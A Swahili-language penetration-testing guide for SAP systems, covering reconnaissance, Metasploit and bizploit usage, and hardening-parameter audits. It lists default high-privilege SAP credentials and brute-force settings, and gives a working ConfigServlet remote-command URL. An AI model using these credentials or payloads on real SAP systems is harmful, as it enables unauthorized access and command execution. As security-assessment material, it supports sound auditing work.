SAP inasimama kwa Mifumo ya Maombi na Bidhaa katika Usindikaji wa Takwimu. SAP, kwa ufafanuzi, pia ni jina la programu ya ERP (Usimamizi wa Rasilimali za Biashara) pamoja na jina la kampuni. Mfumo wa SAP unajumuisha moduli kadhaa zilizounganishwa kikamilifu, ambazo zinashughulikia karibu kila kipengele cha usimamizi wa biashara.
Kila mfano wa SAP (au SID) unajumuisha tabaka tatu: hifadhidata, programu na uwasilishaji), kila mandhari kwa kawaida inajumuisha mifano minne: dev, test, QA na production. Kila moja ya tabaka inaweza kutumika kwa kiwango fulani, lakini athari kubwa zaidi inaweza kupatikana kwa kushambulia hifadhidata.
Kila mfano wa SAP umegawanywa katika wateja. Kila mmoja ana mtumiaji SAP*, sawa na “root” wa programu. Wakati wa kuundwa kwa awali, mtumiaji huyu SAP* anapata nenosiri la chaguo-msingi: “060719992” (nenosiri zaidi ya chaguo-msingi hapa chini). Utashangazwa ikiwa unajua ni mara ngapi nenosiri hizi hazibadilishwi katika mazingira ya mtihani au dev!
Jaribu kupata ufikiaji wa shell ya seva yoyote kwa kutumia jina la mtumiaji <SID>adm. Bruteforcing inaweza kusaidia, hata hivyo kunaweza kuwa na utaratibu wa Kufunga Akaunti.
Angalia Mipango ya Programu au Muhtasari wa Programu kwa ajili ya mtihani. Kumbuka majina ya mwenyeji au mifano ya mfumo kwa kuungana na SAP GUI.
Tumia OSINT (intelligence ya chanzo wazi), Shodan na Google Dorks kuangalia faili, subdomains, na habari za kuvutia ikiwa programu ina uso wa Mtandao au ni ya umma:
Tumia nmap kuangalia bandari zilizo wazi na huduma zinazojulikana (sap routers, webdnypro, web services, web servers, nk.)
Tembelea URLs ikiwa kuna seva ya wavuti inayofanya kazi.
Fuzz directories (unaweza kutumia Burp Intruder) ikiwa ina seva za wavuti kwenye bandari fulani. Hapa kuna orodha nzuri za maneno zilizotolewa na Mradi wa SecLists kwa ajili ya kutafuta Njia za ICM za SAP za kawaida na directories au faili nyingine za kuvutia:
Tumia moduli ya ziada ya Metasploit ya SAP SERVICE DISCOVERY kwa ajili ya kuorodhesha mifano/huduma/vikomavu vya SAP:
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
Testing the Thick Client / SAP GUI
Hapa kuna amri ya kuungana na SAP GUI
sapgui <sap server hostname> <system number>
Angalia kwa ajili ya akidi za kawaida (Katika Mfumo wa Kadirio la Uthibitisho wa Bugcrowd, hii inachukuliwa kama P1 -> Usalama wa Server Usio sahihi | Kutumia Akidi za Kawaida | Server ya Uzalishaji):
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
Kimbia Wireshark kisha uthibitishe kwa mteja (SAP GUI) ukitumia akidi ulizopata kwa sababu baadhi ya wateja huwasilisha akidi bila SSL. Kuna plugins mbili zinazojulikana za Wireshark ambazo zinaweza kuchambua vichwa vikuu vinavyotumika na protokali ya SAP DIAG pia: SecureAuth Labs SAP dissection plug-in na SAP DIAG plugin by Positive Research Center.
Angalia kwa kupandisha madaraka kama kutumia baadhi ya SAP Transaction Codes (tcodes) kwa watumiaji wenye madaraka ya chini:
SU01 - Kuunda na kudumisha watumiaji
SU01D - Kuonyesha Watumiaji
SU10 - Kwa matengenezo ya wingi
SU02 - Kwa uundaji wa mikondo kwa mkono
SM19 - Ukaguzi wa usalama - usanidi
SE84 - Mfumo wa Taarifa kwa Midhara ya SAP R/3
Angalia kama unaweza kutekeleza amri za mfumo / kukimbia scripts katika mteja.
Angalia kama unaweza kufanya XSS kwenye BAPI Explorer
Auth Bypass kupitia Tampering ya kitenzi? Labda :)
Fungua http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees# kisha bonyeza kitufe cha “Chagua” kisha katika dirisha lililofunguka bonyeza “Tafuta”. Unapaswa kuwa na uwezo wa kuona orodha ya watumiaji wa SAP (Kumbukumbu ya Udhaifu: ERPSCAN-16-010 )
Je, akidi zinawasilishwa kupitia HTTP? Ikiwa ndivyo, inachukuliwa kama P3 kulingana na Bugcrowd’s Vulnerability Rating Taxonomy: Uthibitishaji Uliovunjika na Usimamizi wa Kikao | Kazi ya Kuingia Dhaifu Kupitia HTTP. Kidokezo: Angalia pia http://SAP:50000/startPage au milango ya kuingia :)
SAP Start Page
Jaribu /irj/go/km/navigation/ kwa orodha ya saraka inayowezekana au kupita uthibitisho
Ikiwa una maelezo sahihi ya kuingia wakati wa pentest au umeweza kuingia kwenye SAP GUI kwa kutumia akidi za msingi, unaweza kuangalia thamani za parameta. Thamani nyingi za parameta za msingi na za kawaida zinachukuliwa kama udhaifu.
Unaweza kuangalia thamani za parameta kwa njia ya mikono na kiotomatiki, kwa kutumia skripti (mfano SAP Parameter Validator).
Manual Parameter Checking
Kwa kuhamasisha kwenye Msimbo wa Muamala RSPFPAR, unaweza kuuliza parameta tofauti na kutafuta thamani zao.
Jedwali hapa chini lina parameta zilizofafanuliwa na masharti ambayo yanatofautishwa.
Kwa mfano, ikiwa gw/reg_no_conn_info imewekwa chini ya 255 (<255), basi inapaswa kuzingatiwa kama tishio. Vivyo hivyo, ikiwa icm/security_log ni sawa na mbili (2), pia itakuwa tishio linalowezekana.
Parameter
Constraint
Description
auth/object_disabling_active
Y
Inaonyesha ikiwa kuzuiwa kwa kitu kuna nguvu.
auth/rfc_authority_check
<2
Inaweka kiwango cha ukaguzi wa mamlaka kwa RFCs.
auth/no_check_in_some_cases
Y
Inaeleza ikiwa ukaguzi unakosolewa katika baadhi ya kesi.
bdc/bdel_auth_check
FALSE
Inaamua ikiwa ukaguzi wa mamlaka unatekelezwa katika BDC.
gw/reg_no_conn_info
<255
Inapunguza idadi ya wahusika kwa maelezo ya kuungana ya nambari ya usajili.
icm/security_log
2
Inaeleza kiwango cha logi ya usalama kwa ICM (Meneja wa Mawasiliano ya Mtandao).
icm/server_port_0
Display
Inaeleza bandari ya seva kwa ICM (bandari 0).
icm/server_port_1
Display
Inaeleza bandari ya seva kwa ICM (bandari 1).
icm/server_port_2
Display
Inaeleza bandari ya seva kwa ICM (bandari 2).
login/password_compliance_to_current_policy
0
Inalazimisha ufuataji wa nywila kwa sera ya sasa.
login/no_automatic_user_sapstar
0
Inazima usajili wa mtumiaji wa moja kwa moja SAPSTAR.
login/min_password_specials
0
Idadi ya chini ya wahusika maalum inahitajika katika nywila.
login/min_password_lng
<8
Urefu wa chini unaohitajika kwa nywila.
login/min_password_lowercase
0
Idadi ya chini ya herufi ndogo inahitajika katika nywila.
login/min_password_uppercase
0
Idadi ya chini ya herufi kubwa inahitajika katika nywila.
login/min_password_digits
0
Idadi ya chini ya nambari inahitajika katika nywila.
login/min_password_letters
1
Idadi ya chini ya herufi inahitajika katika nywila.
login/fails_to_user_lock
<5
Idadi ya majaribio ya kuingia yasiyofanikiwa kabla ya kufunga akaunti ya mtumiaji.
login/password_expiration_time
>90
Wakati wa kuisha kwa nywila kwa siku.
login/password_max_idle_initial
<14
Wakati wa juu wa kupumzika kwa dakika kabla ya kuhitaji kuingia tena kwa nywila (mwanzo).
login/password_max_idle_productive
<180
Wakati wa juu wa kupumzika kwa dakika kabla ya kuhitaji kuingia tena kwa nywila (kazi).
login/password_downwards_compatibility
0
Inaeleza ikiwa ulinganifu wa chini kwa nywila umewezeshwa.
rfc/reject_expired_passwd
0
Inaamua ikiwa nywila zilizokwisha muda zinakataliwa kwa RFC (Maitaji ya Kazi ya Mbali).
rsau/enable
0
Inawezesha au kuzima ukaguzi wa RS AU (Mamlaka).
rdisp/gui_auto_logout
<5
Inaeleza wakati kwa dakika kabla ya kujiandikisha kiotomatiki kwa vikao vya GUI.
service/protectedwebmethods
SDEFAULT
Inaeleza mipangilio ya msingi kwa mbinu za wavuti zilizolindwa.
snc/enable
0
Inawezesha au kuzima Mawasiliano ya Mtandao Salama (SNC).
ucon/rfc/active
0
Inaamsha au kuzima UCON (Muunganisho wa Pamoja) RFCs.
Script for Parameter Checking
Kwa sababu ya idadi ya parameta, pia inawezekana kusafirisha zote kwenye faili .XML na kutumia skripti SAPPV (SAP Parameter Validator), ambayo itakagua parameta zote zilizotajwa hapo juu na kuchapisha thamani zao kwa tofauti inayofaa.
./SAPPV.sh EXPORT.XML
Parameter: auth/no_check_in_some_cases
User-Defined Value: No data
System Default Value: Y
Comment: Activation of the Profile Generator
Vulnerability: "SAP Parameter Misconfiguration: auth/no_check_in_some_cases"
Parameter: auth/object_disabling_active
User-Defined Value: N
System Default Value: N
Comment: Value 'N' prohibits disabling of authorization objects
Vulnerability: "SAP Parameter Misconfiguration: auth/object_disabling_active"
Parameter: auth/rfc_authority_check
User-Defined Value: 6
System Default Value: 6
Comment: Execution option for the RFC authority check
Vulnerability: "SAP Parameter Misconfiguration: auth/rfc_authority_check"
Parameter: bdc/bdel_auth_check
User-Defined Value: No data
System Default Value: FALSE
Comment: batch-input: check authorisation for activity DELE when delete TA
Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check"
[...]
Attack!
Angalia kama inafanya kazi kwenye seva au teknolojia za zamani kama Windows 2000.
Panga uvunjaji / mashambulizi yanayowezekana, kuna moduli nyingi za Metasploit za kugundua SAP (moduli za ziada) na uvunjaji:
msf > search sap
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
Jaribu kutumia baadhi ya exploits zinazojulikana (angalia Exploit-DB) au mashambulizi kama ile ya zamani lakini nzuri “SAP ConfigServlet Remote Code Execution” katika SAP Portal:
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
Kabla ya kuendesha amri ya start kwenye skripti ya bizploit katika hatua ya Discovery, unaweza pia kuongeza yafuatayo kwa ajili ya kufanya tathmini ya udhaifu:
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start
Other Useful Tools for Testing
PowerSAP - Zana la Powershell kutathmini usalama wa sap
Burp Suite - lazima kuwa nayo kwa kufanyia fuzzing directory na tathmini za usalama wa wavuti
pysap - Maktaba ya Python kutengeneza pakiti za protokali ya mtandao ya SAP
